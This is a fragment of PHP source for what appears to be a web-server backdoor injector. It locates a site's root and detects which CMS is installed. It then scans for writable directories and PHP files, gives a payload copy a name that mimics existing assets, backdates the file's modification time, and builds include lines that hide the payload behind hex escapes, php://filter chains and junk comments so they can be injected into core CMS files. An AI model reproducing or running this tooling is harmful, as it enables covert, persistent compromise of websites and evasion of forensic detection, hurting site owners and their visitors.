_log('INFO', 'mtime blend (' . basename($filePath) . '): no same-ext siblings → random past: ' . date('Y-m-d', $target));
} else {
$counts = array_count_values($mtimes);
arsort($counts);
$target = _me_first_key($counts);
$majority = reset($counts);
_log('INFO', 'mtime blend (' . basename($filePath) . '): ' . count($mtimes) . ' siblings, majority=' . $majority . '/' . count($mtimes) . ' → ' . date('Y-m-d H:i:s', $target));
}
$ok = @touch($filePath, $target);
_log($ok ? 'INFO' : 'WARN', 'mtime set: ' . ($ok ? 'OK' : 'FAILED (permissions?)'));
return $ok;
}
function detect_site_root($scriptDir) {
global $SITE_ROOT;
if (!empty($SITE_ROOT)) {
$r = rtrim(str_replace('\\', '/', realpath($SITE_ROOT) ? realpath($SITE_ROOT) : $SITE_ROOT), '/');
if (is_dir($r)) {
_log('INFO', 'Root from config: ' . $r);
return $r;
}
}
$dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/');
$maxDepth = 10;
$depth = 0;
while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) {
$score = 0;
if (is_file("$dir/index.php")) {
$score += 2;
}
foreach (CMS_SIGNATURES() as $sig) {
if (is_file("$dir/$sig")) {
$score += 5;
$cmsName = cms_name_for_signature($sig);
if ($cmsName === 'generic') {
$suffix = ' (CMS: generic)';
} elseif ($cmsName !== '' && cms_content_confirms($cmsName, $dir)) {
$suffix = " (CMS: $cmsName)";
} else {
$suffix = ' (Unknown CMS)';
}
_log('INFO', "Found CMS signature at depth $depth: $sig$suffix");
break;
}
}
foreach (array('wp-admin', 'wp-includes', 'administrator', 'includes', 'misc', 'modules', 'themes', 'core', 'app', 'src', 'web', 'config') as $sub) {
if (is_dir("$dir/$sub")) {
$score += 3;
break;
}
}
if ($score >= 7) {
$entry = null;
if (is_file("$dir/index.php")) {
$entry = $dir;
} else {
foreach (array('public', 'web', 'pub') as $subEntry) {
if (is_file("$dir/$subEntry/index.php")) {
$entry = "$dir/$subEntry";
break;
}
}
}
if ($entry !== null) {
_log('INFO', "Root from walk-up (score=$score, entry=$entry): $dir");
return $entry;
}
_log('INFO', "CMS project root (score=$score, no index.php): $dir - continuing up");
$parent = dirname($dir);
if ($parent === $dir) break;
$dir = $parent;
$depth++;
continue;
}
if ($score >= 2) {
$parent = dirname($dir);
if ($parent === $dir) break;
$dir = $parent;
$depth++;
continue;
}
$parent = dirname($dir);
if ($parent === $dir) break;
$dir = $parent;
$depth++;
}
if (!empty($_SERVER['DOCUMENT_ROOT'])) {
$r = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
if (is_dir($r) && (is_file("$r/index.php") || is_file("$r/index.html"))) {
_log('INFO', 'Root from DOCUMENT_ROOT: ' . $r);
return $r;
}
_log('INFO', 'DOCUMENT_ROOT exists but no index.php/index.html found: ' . $r);
}
$dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/');
$depth = 0;
$htmlRoot = null;
while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) {
if (is_file("$dir/index.php")) {
_log('INFO', 'Root from index.php walk-up: ' . $dir);
return $dir;
}
if ($htmlRoot === null && is_file("$dir/index.html")) {
$htmlRoot = $dir;
}
$parent = dirname($dir);
if ($parent === $dir) break;
$dir = $parent;
$depth++;
}
if ($htmlRoot !== null) {
_log('INFO', 'Root from index.html walk-up (static site): ' . $htmlRoot);
return $htmlRoot;
}
if (is_file("$scriptDir/index.php")) {
_log('INFO', 'Root from script dir (index.php exists): ' . $scriptDir);
return $scriptDir;
}
if (!empty($_SERVER['SCRIPT_FILENAME'])) {
$d = dirname($_SERVER['SCRIPT_FILENAME']);
$d = rtrim(str_replace('\\', '/', $d), '/');
if (is_dir($d) && is_file("$d/index.php")) {
_log('INFO', 'Root from SCRIPT_FILENAME: ' . $d);
return $d;
}
}
_log('ERROR', 'Could not auto-detect site root.');
_log('ERROR', 'Please set $SITE_ROOT manually in the script.');
return null;
}
function process_writable_dir($fullPath, $siteRoot, &$resourceDirs, &$otherDirs) {
$basename = basename($fullPath);
if (in_array($basename, SKIP_DIRS())) return false;
if (strpos($fullPath, '/.git/') !== false || strpos($fullPath, '/.svn/') !== false) return false;
if (strpos($fullPath, '/node_modules/') !== false || strpos($fullPath, '/vendor/') !== false) return false;
if (!is_writable($fullPath)) return false;
$relPath = substr($fullPath, strlen($siteRoot) + 1);
if ($relPath === false || $relPath === '') $relPath = '.';
$files = @scandir($fullPath);
if (!$files) return false;
$files = array_diff($files, array('.', '..'));
$nonPhpNames = array();
$phpNames = array();
foreach ($files as $f) {
if (!is_file("$fullPath/$f")) continue;
$ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
if ($ext === 'php' || $ext === 'phtml' || $ext === 'php5' || $ext === 'php7' || $ext === 'phps') {
$phpNames[] = $f;
} else {
$nonPhpNames[] = $f;
}
}
$fileNames = array_slice(array_merge($nonPhpNames, $phpNames), 0, 10);
$filesStr = implode(',', $fileNames);
$isResource = false;
$lowerPath = strtolower($relPath);
foreach (RESOURCE_KEYWORDS() as $kw) {
if (strpos($lowerPath, $kw) !== false) { $isResource = true; break; }
}
if ($isResource) {
$resourceDirs[$relPath] = $filesStr;
} else {
$otherDirs[$relPath] = $filesStr;
}
return true;
}
function scan_writable_tree($dir, $siteRoot, &$resourceDirs, &$otherDirs, $maxScan) {
if (count($resourceDirs) + count($otherDirs) >= $maxScan) return false;
process_writable_dir($dir, $siteRoot, $resourceDirs, $otherDirs);
$entries = @scandir($dir);
if ($entries === false) return true;
foreach ($entries as $e) {
if ($e === '.' || $e === '..') continue;
if (count($resourceDirs) + count($otherDirs) >= $maxScan) return false;
$fullPath = str_replace('\\', '/', "$dir/$e");
if (!is_dir($fullPath)) continue;
if (scan_writable_tree($fullPath, $siteRoot, $resourceDirs, $otherDirs, $maxScan) === false) {
return false;
}
}
return true;
}
function collect_resource_folders($siteRoot, $resourceLimit, $writeCount) {
$resourceDirs = array();
$otherDirs = array();
$siteRoot = rtrim($siteRoot, '/');
$maxScan = max($resourceLimit * 10, 500);
_log('INFO', 'Collecting resource folders (target=' . $resourceLimit . ' resource, write=' . $writeCount . ')...');
scan_writable_tree($siteRoot, $siteRoot, $resourceDirs, $otherDirs, $maxScan);
_log('INFO', 'Scanned writable dirs: ' . count($resourceDirs) . ' resource + ' . count($otherDirs) . ' other');
$result = array();
$resKeys = array_keys($resourceDirs);
shuffle($resKeys);
foreach (array_slice($resKeys, 0, $resourceLimit) as $k) {
$result[$k] = $resourceDirs[$k];
}
$needed = $resourceLimit - count($result);
if ($needed > 0 && !empty($otherDirs)) {
$othKeys = array_keys($otherDirs);
shuffle($othKeys);
foreach (array_slice($othKeys, 0, $needed) as $k) {
$result[$k] = $otherDirs[$k];
}
_log('INFO', 'Resource folders short by ' . $needed . ' - filled from other writable dirs');
}
_log('INFO', 'Collected ' . count($result) . ' folders (write target: ' . $writeCount . ')');
return $result;
}
function find_payload_file($scriptDir, $override) {
if (!empty($override)) {
$path = $override;
if (is_file($path)) return $path;
$path = "$scriptDir/$override";
if (is_file($path)) return $path;
_log('ERROR', "Specified payload file not found: $override");
return null;
}
$matches = array();
$files = @scandir($scriptDir);
if ($files) {
foreach ($files as $f) {
if (preg_match('/^\d{1,15}-[a-zA-Z0-9]{1,15}\.txt$/i', $f)) {
$matches[] = $f;
}
}
}
if (count($matches) === 1) {
_log('INFO', "Auto-detected payload: " . $matches[0]);
return "$scriptDir/" . $matches[0];
}
if (count($matches) > 1) {
_log('ERROR', 'Multiple payload files found (' . count($matches) . '): ' . implode(', ', $matches) . '. Keep only ONE xxxx-xxxx.txt and run again - the script will NOT delete itself.');
return null;
}
_log('ERROR', 'No payload file found. Expected a file matching xxxx-xxxx.txt (e.g. 34001-xf009.txt) in: ' . $scriptDir . '. Re-upload the payload and run again - the script will NOT delete itself.');
return null;
}
function generate_random_filename($existingFiles, $filesStr) {
$existingNames = explode(',', $filesStr);
$existingNames = array_filter($existingNames, '_me_nzstr');
$nonPhpTemplates = array();
$phpTemplates = array();
foreach ($existingNames as $n) {
$ext = strtolower(pathinfo($n, PATHINFO_EXTENSION));
if ($ext === 'php' || $ext === 'phtml' || $ext === 'php5' || $ext === 'php7' || $ext === 'phps') {
$phpTemplates[] = $n;
} else {
$nonPhpTemplates[] = $n;
}
}
$usingPhpFallback = empty($nonPhpTemplates);
$templatePool = $usingPhpFallback ? $phpTemplates : $nonPhpTemplates;
$nonPhpExts = array_values(array_filter(RESOURCE_EXTS(), '_me_nonphp_ext'));
if (empty($nonPhpExts)) $nonPhpExts = array('.css', '.js', '.png');
if (empty($templatePool)) {
$prefixes = array('style', 'script', 'default', 'main', 'app', 'core', 'common', 'base', 'index', 'front');
$prefix = $prefixes[array_rand($prefixes)];
$ext = $nonPhpExts[array_rand($nonPhpExts)];
return $prefix . '-' . substr(md5(crypto_rand_int(0, 999999)), 0, 8) . $ext;
}
$template = $templatePool[array_rand($templatePool)];
$tplInfo = pathinfo($template);
$tplExt = isset($tplInfo['extension']) ? '.' . $tplInfo['extension'] : '';
$tplName = $tplInfo['filename'];
if ($usingPhpFallback && preg_match('/\.php$/i', $tplExt)) {
$tplExt = $nonPhpExts[array_rand($nonPhpExts)];
}
$suffix = '';
if (preg_match('/\.min$/', $tplName)) {
$suffix = '.min';
$tplName = preg_replace('/\.min$/', '', $tplName);
}
if (preg_match('/-rtl$/', $tplName)) {
$suffix = '-rtl' . $suffix;
$tplName = preg_replace('/-rtl$/', '', $tplName);
}
$variations = array(
$tplName . '-vendor' . $suffix . $tplExt,
$tplName . '-core' . $suffix . $tplExt,
$tplName . '-bundle' . $suffix . $tplExt,
$tplName . '-lib' . $suffix . $tplExt,
$tplName . '-assets' . $suffix . $tplExt,
'vendor-' . $tplName . $suffix . $tplExt,
'core-' . $tplName . $suffix . $tplExt,
);
shuffle($variations);
foreach ($variations as $name) {
if (!in_array($name, $existingNames)) {
return $name;
}
}
$hex = substr(md5(crypto_rand_int(0, 999999)), 0, 8);
return $tplName . '-' . $hex . $suffix . $tplExt;
}
function obfuscate_string($s, $hexProb = 0.85, $octProb = 0.00) {
$result = '';
$len = strlen($s);
$prevWasHex = false;
for ($i = 0; $i < $len; $i++) {
$ch = $s[$i];
$ord = ord($ch);
$nextIsDigit = ($i + 1 < $len && ctype_digit($s[$i + 1]));
$isHexDigit = ctype_xdigit($ch);
$r = mt_rand(0, 1000000) / 1000000.0;
$useOct = ($r >= $hexProb && $r < $hexProb + $octProb) && !$nextIsDigit;
$forceHex = $prevWasHex && $isHexDigit;
if ($r < $hexProb || ($nextIsDigit && $r < $hexProb + $octProb) || $forceHex) {
$result .= '\x' . str_pad(dechex($ord), 2, '0', STR_PAD_LEFT);
$prevWasHex = true;
} elseif ($useOct) {
$result .= '\\' . str_pad(decoct($ord), 3, '0', STR_PAD_LEFT);
$prevWasHex = false;
} else {
$result .= $ch;
$prevWasHex = false;
}
}
return $result;
}
$_CMS_CWD_TYPE = 'unknown';
function detect_cms_cwd_type($siteRoot) {
$indexPath = str_replace('//', '/', "$siteRoot/index.php");
if (!is_file($indexPath)) return 'unknown';
$content = @file_get_contents($indexPath);
if ($content === false || strlen($content) < 10) {
if (is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")) {
_log('INFO', 'CMS detected: WordPress (CWD=root, empty/short index.php) → using relative paths');
return 'root';
}
return 'unknown';
}
if (preg_match('/WP_USE_THEMES|wp-blog-header\.php|wp-load\.php/i', $content)) {
_log('INFO', 'CMS detected: WordPress (CWD=root) → using relative paths');
return 'root';
}
if (preg_match('/\b_JEXEC\b|\bJFactory\b|\bJPATH_BASE\b/i', $content)) {
_log('INFO', 'CMS detected: Joomla (CWD=root) → using relative paths');
return 'root';
}
if (preg_match('/\bDRUPAL_ROOT\b|\\\\Drupal\b|\bdrupal_bootstrap\b/i', $content)) {
_log('INFO', 'CMS detected: Drupal (CWD=root) → using relative paths');
return 'root';
}
if (preg_match('/startup\.php|\bDIR_SYSTEM\b|\bregistry\b/i', $content)) {
_log('INFO', 'CMS detected: OpenCart (CWD=root) → using relative paths');
return 'root';
}
if (preg_match('/config\/config\.inc\.php|\b_PS_VERSION_\b/i', $content)) {
_log('INFO', 'CMS detected: PrestaShop (CWD=root) → using relative paths');
return 'root';
}
if (preg_match('/\bdiscuz_application\b|\bdiscuz_core\b|\bdiscuz\b|\bC::app\(\)/i', $content)) {
_log('INFO', 'CMS detected: Discuz! (CWD=root) → using relative paths');
return 'root';
}
if (preg_match('/\bCI_VERSION\b|\bBASEPATH\b/i', $content)) {
_log('INFO', 'CMS detected: CodeIgniter (CWD=root) → using relative paths');
return 'root';
}
if (preg_match('/Magento\\\\Framework\b|\bBP\b.*dirname|dirname.*\bBP\b/i', $content)) {
_log('INFO', 'CMS detected: Magento 2 (CWD=pub/) → using $_SERVER approach');
return 'subdir';
}
if (preg_match('/\bIlluminate\b|\blaravel\b|\$app\s*=\s*require_once/i', $content)) {
_log('INFO', 'CMS detected: Laravel (CWD=public/) → using $_SERVER approach');
return 'subdir';
}
if (preg_match('/App\\\\Kernel\b|\bSymfony\\\\Component\b/i', $content)) {
_log('INFO', 'CMS detected: Symfony (CWD=public/) → using $_SERVER approach');
return 'subdir';
}
if (preg_match('/think\\\\App\b|think\\\\Container\b|\bContainer::get\b|\bthinkphp\b/i', $content)) {
_log('INFO', 'CMS detected: ThinkPHP (CWD=public/) → using $_SERVER approach');
return 'subdir';
}
if (preg_match('/yii\\\\base\b|yii\\\\web\b|\bYii\b.*require/i', $content)) {
_log('INFO', 'CMS detected: Yii2 (CWD=web/) → using $_SERVER approach');
return 'subdir';
}
_log('INFO', 'CMS type unknown - using safe $_SERVER approach');
return 'unknown';
}
function file_has_marker($path, $markers, $caseInsensitive = false) {
if (!is_file($path)) return false;
$c = @file_get_contents($path, false, null, 0, 65536);
if ($c === false || $c === '') return false;
foreach ((array)$markers as $m) {
if ($caseInsensitive) {
if (stripos($c, $m) !== false) return true;
} else {
if (strpos($c, $m) !== false) return true;
}
}
return false;
}
function cms_content_confirms($cmsType, $siteRoot, $projectRoot = '') {
switch ($cmsType) {
case 'wordpress':
return file_has_marker("$siteRoot/wp-config.php", array('wp-settings.php', 'DB_NAME', 'table_prefix', 'WP_DEBUG'))
|| file_has_marker("$siteRoot/wp-blog-header.php", array('wp-load.php', 'WordPress'))
|| is_file("$siteRoot/wp-settings.php")
|| is_file("$siteRoot/wp-load.php");
case 'joomla':
return file_has_marker("$siteRoot/configuration.php", array('_JEXEC', 'JConfig', 'JPATH_BASE'))
|| file_has_marker("$siteRoot/includes/app.php", array('_JEXEC', 'JFactory'))
|| file_has_marker("$siteRoot/libraries/loader.php", array('JLoader', 'JFactory'));
case 'drupal':
return file_has_marker("$siteRoot/sites/default/settings.php", array('$databases', 'DRUPAL_ROOT', 'drupal'))
|| file_has_marker("$siteRoot/core/lib/Drupal.php", array('namespace Drupal', 'class Drupal'))
|| file_has_marker("$siteRoot/autoload.php", array('Drupal', 'drupal'), true);
case 'magento2':
return is_file("$siteRoot/app/etc/env.php") || is_file("$siteRoot/app/etc/config.php")
|| ($projectRoot !== '' && (is_file("$projectRoot/app/etc/env.php") || is_file("$projectRoot/app/etc/config.php")));
case 'magento1':
return is_file("$siteRoot/app/Mage.php") || is_file("$siteRoot/app/etc/local.xml")
|| ($projectRoot !== '' && (is_file("$projectRoot/app/Mage.php") || is_file("$projectRoot/app/etc/local.xml")));
case 'laravel':
return file_has_marker("$siteRoot/artisan", array('Illuminate', 'Laravel', 'Application'), true)
|| ($projectRoot !== '' && file_has_marker("$projectRoot/artisan", array('Illuminate', 'Laravel'), true))
|| file_has_marker("$siteRoot/bootstrap/app.php", array('Illuminate', 'Laravel'), true);
case 'symfony':
return file_has_marker("$siteRoot/symfony.lock", array('symfony/'), true)
|| ($projectRoot !== '' && file_has_marker("$projectRoot/symfony.lock", array('symfony/'), true))
|| file_has_marker("$siteRoot/config/bundles.php", array('Symfony'), true);
case 'yii2':
return (is_file("$siteRoot/yii") && is_dir("$siteRoot/controllers"))
|| ($projectRoot !== '' && is_file("$projectRoot/yii") && is_dir("$projectRoot/controllers"));
case 'yii1':
return is_dir("$siteRoot/protected") && is_file("$siteRoot/protected/config/main.php");
case 'opencart':
return file_has_marker("$siteRoot/config.php", array('DIR_APPLICATION', 'DIR_SYSTEM', 'VERSION'))
&& is_dir("$siteRoot/system");
case 'prestashop':
return file_has_marker("$siteRoot/config/settings.inc.php", array('_PS_VERSION_', 'COOKIE_KEY', '_CAN_LOAD_FILES_'), true);
case 'codeigniter':
return is_dir("$siteRoot/system")
&& file_has_marker("$siteRoot/system/index.php", array('BASEPATH', 'CodeIgniter', 'core/CodeIgniter.php'), true);
case 'discuz':
return is_dir("$siteRoot/source") && is_dir("$siteRoot/uc_client");
case 'thinkphp':
return is_dir("$siteRoot/thinkphp");
}
return false;
}
function detect_cms_type($siteRoot) {
$indexPath = str_replace('//', '/', "$siteRoot/index.php");
$projectRoot = dirname($siteRoot);
if ($projectRoot === $siteRoot) $projectRoot = '';
$content = '';
if (is_file($indexPath)) {
$content = @file_get_contents($indexPath);
}
if ((is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php"))
&& (cms_content_confirms('wordpress', $siteRoot)
|| ($content && preg_match('/\bWP_USE_THEMES\b|\bwp-blog-header\.php\b/i', $content)))) {
return 'wordpress';
}
if ((is_file("$siteRoot/configuration.php") || is_file("$siteRoot/includes/app.php") || is_file("$siteRoot/libraries/loader.php"))
&& (cms_content_confirms('joomla', $siteRoot)
|| ($content && preg_match('/\b_JEXEC\b|\bJFactory\b|\bJPATH_BASE\b/i', $content)))) {
return 'joomla';
}
if ((is_file("$siteRoot/sites/default/settings.php") || is_file("$siteRoot/core/lib/Drupal.php") || is_file("$siteRoot/autoload.php"))
&& (cms_content_confirms('drupal', $siteRoot)
|| ($content && preg_match('/\bDRUPAL_ROOT\b|\\\\Drupal\b/i', $content)))) {
return 'drupal';
}
if (cms_content_confirms('magento2', $siteRoot, $projectRoot)) {
return 'magento2';
}
if (cms_content_confirms('magento1', $siteRoot, $projectRoot)) {
return 'magento1';
}
if (cms_content_confirms('laravel', $siteRoot, $projectRoot)
|| ($content && preg_match('/\bIlluminate\b|\blaravel\b/i', $content))) {
return 'laravel';
}
if (cms_content_confirms('symfony', $siteRoot, $projectRoot)
|| ($content && preg_match('/App\\\\Kernel\b|\bSymfony\\\\Component\b/i', $content))) {
return 'symfony';
}
if (cms_content_confirms('yii2', $siteRoot, $projectRoot)) {
return 'yii2';
}
if (cms_content_confirms('yii1', $siteRoot)) {
return 'yii1';
}
if (cms_content_confirms('opencart', $siteRoot)) {
return 'opencart';
}
if (cms_content_confirms('prestashop', $siteRoot)) {
return 'prestashop';
}
if (cms_content_confirms('codeigniter', $siteRoot)) {
return 'codeigniter';
}
if (cms_content_confirms('discuz', $siteRoot)) {
return 'discuz';
}
if (is_dir("$siteRoot/thinkphp") ||
($content && preg_match('/think\\\\App\b|think\\\\Container\b/i', $content))) {
return 'thinkphp';
}
return '';
}
function compute_relative_path($base, $target) {
$base = rtrim(str_replace('\\', '/', $base), '/');
$target = str_replace('\\', '/', $target);
$baseParts = explode('/', $base);
$targetParts = explode('/', $target);
$common = 0;
$maxCommon = min(count($baseParts), count($targetParts));
while ($common < $maxCommon && $baseParts[$common] === $targetParts[$common]) {
$common++;
}
$upCount = count($baseParts) - $common;
$relParts = array_merge(array_fill(0, $upCount, '..'), array_slice($targetParts, $common));
return implode('/', $relParts);
}
function collect_random_targets($siteRoot, $cmsType, $count) {
if ($count <= 0) return array();
$targetCount = $count + 3;
$dirsToScan = array();
$siteRoot = rtrim($siteRoot, '/');
if ($cmsType !== '' && array_key_exists($cmsType, CMS_SYSTEM_DIRS())) {
$searchRoots = array($siteRoot);
if ($GLOBALS['_CMS_CWD_TYPE'] === 'subdir') {
$parentRoot = dirname($siteRoot);
if ($parentRoot !== $siteRoot && is_dir($parentRoot)) {
$searchRoots[] = $parentRoot;
}
}
$cmsDirsAll = CMS_SYSTEM_DIRS();
$cmsDirs = $cmsDirsAll[$cmsType];
foreach ($cmsDirs as $d) {
foreach ($searchRoots as $sr) {
$full = str_replace('//', '/', "$sr/$d");
if (is_dir($full)) {
$dirsToScan[] = $full;
break;
}
}
}
}
if (empty($dirsToScan)) {
_log('INFO', 'Unknown CMS or no system dirs found - scanning all root subdirs...');
$items = @scandir($siteRoot);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = "$siteRoot/$item";
if (!is_dir($full)) continue;
$skip = array('.git', '.svn', 'node_modules', 'vendor', 'cache', 'tmp', 'temp', 'logs', 'log', 'wp-content', 'media', 'errors', 'pub', 'static', 'skin', 'setup', 'update', 'install', 'tests', 'build', 'dist', 'var', 'generated');
if (in_array($item, $skip)) continue;
$dirsToScan[] = $item;
}
}
}
if (empty($dirsToScan)) {
_log('WARN', 'No system directories to scan for random targets.');
return array();
}
$filesByDir = array();
$rootLen = strlen($siteRoot) + 1;
$perDirLimit = max($targetCount * 5, 10);
$totalLimit = $targetCount * 30;
foreach ($dirsToScan as $dir) {
$totalCollected = 0;
foreach ($filesByDir as $fbd) { $totalCollected += count($fbd); }
if ($totalCollected >= $totalLimit) break;
$fullDir = (strpos($dir, '/') === 0 || (strlen($dir) > 1 && $dir[1] === ':'))
? $dir : "$siteRoot/$dir";
$fullDir = str_replace('//', '/', $fullDir);
$filesByDir[$dir] = array();
try {
$dotFlags = defined('FilesystemIterator::SKIP_DOTS') ? FilesystemIterator::SKIP_DOTS : 0;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($fullDir, $dotFlags),
RecursiveIteratorIterator::SELF_FIRST
);
} catch (Exception $e) {
continue;
}
try {
foreach ($iterator as $item) {
if (count($filesByDir[$dir]) >= $perDirLimit) break;
$bn = $item->getFilename();
if ($bn === '.' || $bn === '..') continue;
if (!$item->isFile()) continue;
$ext = strtolower(pathinfo($bn, PATHINFO_EXTENSION));
if (!in_array($ext, PHP_FILE_EXTS())) continue;
$fullPath = str_replace('\\', '/', $item->getPathname());
if (strpos($fullPath, '/vendor/') !== false || strpos($fullPath, '/node_modules/') !== false) continue;
if (strpos($fullPath, '/cache/') !== false || strpos($fullPath, '/tmp/') !== false) continue;
$relPath = substr($fullPath, $rootLen);
if ($relPath === false || $relPath === '' || strpos($fullPath, $siteRoot) !== 0) {
$relPath = compute_relative_path($siteRoot, $fullPath);
}
if ($relPath !== false && $relPath !== '') {
$testContent = @file_get_contents($fullPath, false, null, 0, 8192);
if ($testContent === false || strlen(trim($testContent)) === 0) continue;
$openTagCount = preg_match_all('/' . chr(60) . '\?(?:php|=|\s|[^a-zA-Z])/i', $testContent, $m);
if ($openTagCount === 0 || $openTagCount > 1) continue;
$ct = chr(63).chr(62);
$lastCt = strrpos($testContent, $ct);
if ($lastCt !== false && strlen(trim(substr($testContent, $lastCt + 2))) > 0) continue;
$selfName = basename(_ME_RUNNING_FILE);
if (basename($fullPath) === $selfName) continue;
$dirP = dirname($fullPath);
if (!is_writable($fullPath) && !is_writable($dirP) && !is_dir_chmod_able($dirP)) continue;
$filesByDir[$dir][] = $relPath;
}
}
} catch (UnexpectedValueException $e) {
_log('WARN', 'Unreadable subdirectory under ' . $fullDir . ' - skipping remaining files there: ' . $e->getMessage());
}
}
$filesByDir = array_filter($filesByDir, '_me_nzarr');
if (empty($filesByDir)) {
_log('WARN', 'No injectable PHP files found in system directories (both file and its directory not writable? permissions?) - random injection skipped.');
return array();
}
foreach ($filesByDir as &$fbd) { shuffle($fbd); }
unset($fbd);
$dirKeys = array_keys($filesByDir);
shuffle($dirKeys);
$selected = array();
$dirIdx = 0;
while (count($selected) < $targetCount && !empty($dirKeys)) {
$d = $dirKeys[$dirIdx % count($dirKeys)];
if (!empty($filesByDir[$d])) {
$selected[] = array_shift($filesByDir[$d]);
}
if (empty($filesByDir[$d])) {
$newKeys = array();
foreach ($dirKeys as $k) { if ($k !== $d) $newKeys[] = $k; }
$dirKeys = $newKeys;
if (empty($dirKeys)) break;
$dirIdx = 0;
} else {
$dirIdx++;
}
if ($dirIdx > count($dirKeys) * 2) break;
}
if (count($selected) < $targetCount) {
$remaining = array();
foreach ($filesByDir as $fbd) { $remaining = array_merge($remaining, $fbd); }
shuffle($remaining);
while (count($selected) < $targetCount && !empty($remaining)) {
$selected[] = array_shift($remaining);
}
}
$targets = array();
foreach ($selected as $relPath) {
$targets[] = array('type' => 'rand', 'path' => $relPath);
}
$totalCandidates = 0;
foreach ($filesByDir as $fbd) { $totalCandidates += count($fbd); }
$totalCandidates += count($selected);
_log('INFO', 'Random targets: collected from ' . count($filesByDir) . ' dirs, selected ' . count($targets));
return array_slice($targets, 0, $count);
}
function pick_distributed($pool, $count) {
if (empty($pool) || $count <= 0) return array();
$byTopDir = array();
foreach ($pool as $key => $value) {
$lastSlash = strrpos($key, '/');
$parent = ($lastSlash !== false) ? substr($key, 0, $lastSlash) : $key;
if (!isset($byTopDir[$parent])) $byTopDir[$parent] = array();
$byTopDir[$parent][$key] = $value;
}
foreach ($byTopDir as &$entries) {
$keys = array_keys($entries);
shuffle($keys);
$shuffled = array();
foreach ($keys as $k) { $shuffled[$k] = $entries[$k]; }
$entries = $shuffled;
}
unset($entries);
$groups = array_keys($byTopDir);
shuffle($groups);
$selected = array();
$groupIdx = 0;
while (count($selected) < $count && !empty($groups)) {
$g = $groups[$groupIdx % count($groups)];
if (!empty($byTopDir[$g])) {
$key = _me_first_key($byTopDir[$g]);
$selected[$key] = $byTopDir[$g][$key];
unset($byTopDir[$g][$key]);
}
if (empty($byTopDir[$g])) {
$newGroups = array();
foreach ($groups as $gr) { if ($gr !== $g) $newGroups[] = $gr; }
$groups = $newGroups;
if (empty($groups)) break;
$groupIdx = 0;
} else {
$groupIdx++;
}
}
return $selected;
}
function folder_is_writable($siteRoot, $relFolder) {
$full = str_replace('//', '/', $siteRoot . '/' . $relFolder);
$ok = is_dir($full) && is_writable($full);
_log('DEBUG', "Folder check: $relFolder -> " . ($ok ? 'OK' : 'FAIL'));
return $ok;
}
function pick_from_common_folders($siteRoot, $count) {
$common = COMMON_FOLDERS();
$writable = array();
foreach ($common as $rel => $files) {
if (folder_is_writable($siteRoot, $rel)) {
$writable[$rel] = $files;
}
}
return pick_distributed($writable, $count);
}
function obfuscate_chunked($str, $minComments = 3, $maxComments = 6) {
if ($str === '') return '""';
$first = $str[0];
if ($first === '"' || $first === '\\' || $first === '$' || $first === "\n"
|| $first === "\r" || $first === "\t" || $first === "\0") {
$firstEsc = '\\' . $first;
} else {
$firstEsc = $first;
}
$firstTok = '"' . $firstEsc . '"';
$head = (string)substr($str, 1);
$esc = '';
$len = strlen($head);
for ($i = 0; $i < $len; $i++) {
$esc .= '\x' . str_pad(dechex(ord($head[$i])), 2, '0', STR_PAD_LEFT);
}
$tokens = $esc === '' ? array() : str_split($esc, 4);
$chunks = array();
$n = count($tokens);
$i = 0;
while ($i < $n) {
$take = min(mt_rand(2, 4), $n - $i);
$chunks[] = '"' . implode('', array_slice($tokens, $i, $take)) . '"';
$i += $take;
}
array_unshift($chunks, $firstTok);
$out = $chunks[0];
$joins = count($chunks) - 1;
if ($joins <= 0) return $out;
$cmtCount = min(mt_rand($minComments, $maxComments), $joins);
if ($cmtCount < 1) $cmtCount = 1;
$charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&()_+-=[]{};:\'\" ,.<';
$cl = strlen($charset);
$marker = isset($GLOBALS['MULTI_ANNOTATION']) ? (string)$GLOBALS['MULTI_ANNOTATION'] : 'pthk';
$marker = preg_replace('/[*\/?>]/', '', $marker);
$types = array();
$markerNonEmpty = ($marker !== '');
$multiCount = mt_rand(1, 3);
$need = $multiCount + ($markerNonEmpty ? 1 : 0);
if ($cmtCount < $need) $cmtCount = min($need, $joins);
if ($cmtCount < 1) $cmtCount = 1;
$joinIdx = range(1, $joins);
shuffle($joinIdx);
$posSet = array_flip(array_slice($joinIdx, 0, $cmtCount));
if ($markerNonEmpty && $cmtCount >= 2) $types[] = 'marker';
$multiCount = min($multiCount, $cmtCount - count($types));
$multiCount = max(1, $multiCount);
for ($i = 0; $i < $multiCount; $i++) $types[] = 'multi';
for ($i = count($types); $i < $cmtCount; $i++) $types[] = 'rand';
shuffle($types);
$typeIdx = 0;
for ($k = 1; $k < count($chunks); $k++) {
$out .= '.' . $chunks[$k];
if (!isset($posSet[$k - 1])) continue;
$t = $types[$typeIdx++];
if ($t === 'multi') {
$out .= '/*' . _me_rand_word($charset, $cl) . "\n" . _me_rand_word($charset, $cl) . '*/';
} elseif ($t === 'marker') {
$out .= '/*' . $marker . '*/';
} else {
$out .= '/*' . _me_rand_word($charset, $cl) . '*/';
}
}
return $out;
}
function generate_include_line($payloadRelPath, $targetRelPath = '.') {
global $_CMS_CWD_TYPE;
$chain = get_filter_chain();
$incPrefix = '@' . random_case_string('includ' . 'e_once') . '(';
if ($_CMS_CWD_TYPE === 'root') {
$fullString = "php://filter/read=$chain/resource=$payloadRelPath";
$arg = obfuscate_chunked($fullString, 3, 6);
return $incPrefix . $arg . ');';
}
$prefixArg = obfuscate_chunked("php://filter/read=$chain/resource=", 2, 3);
$pathArg = obfuscate_chunked('/' . $payloadRelPath, 2, 3);
$dirExpr = 'dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"])';
$arg = $prefixArg . '.' . $dirExpr . '.' . $pathArg;
return $incPrefix . $arg . ');';
}
function php_mode_at_eof($content) {
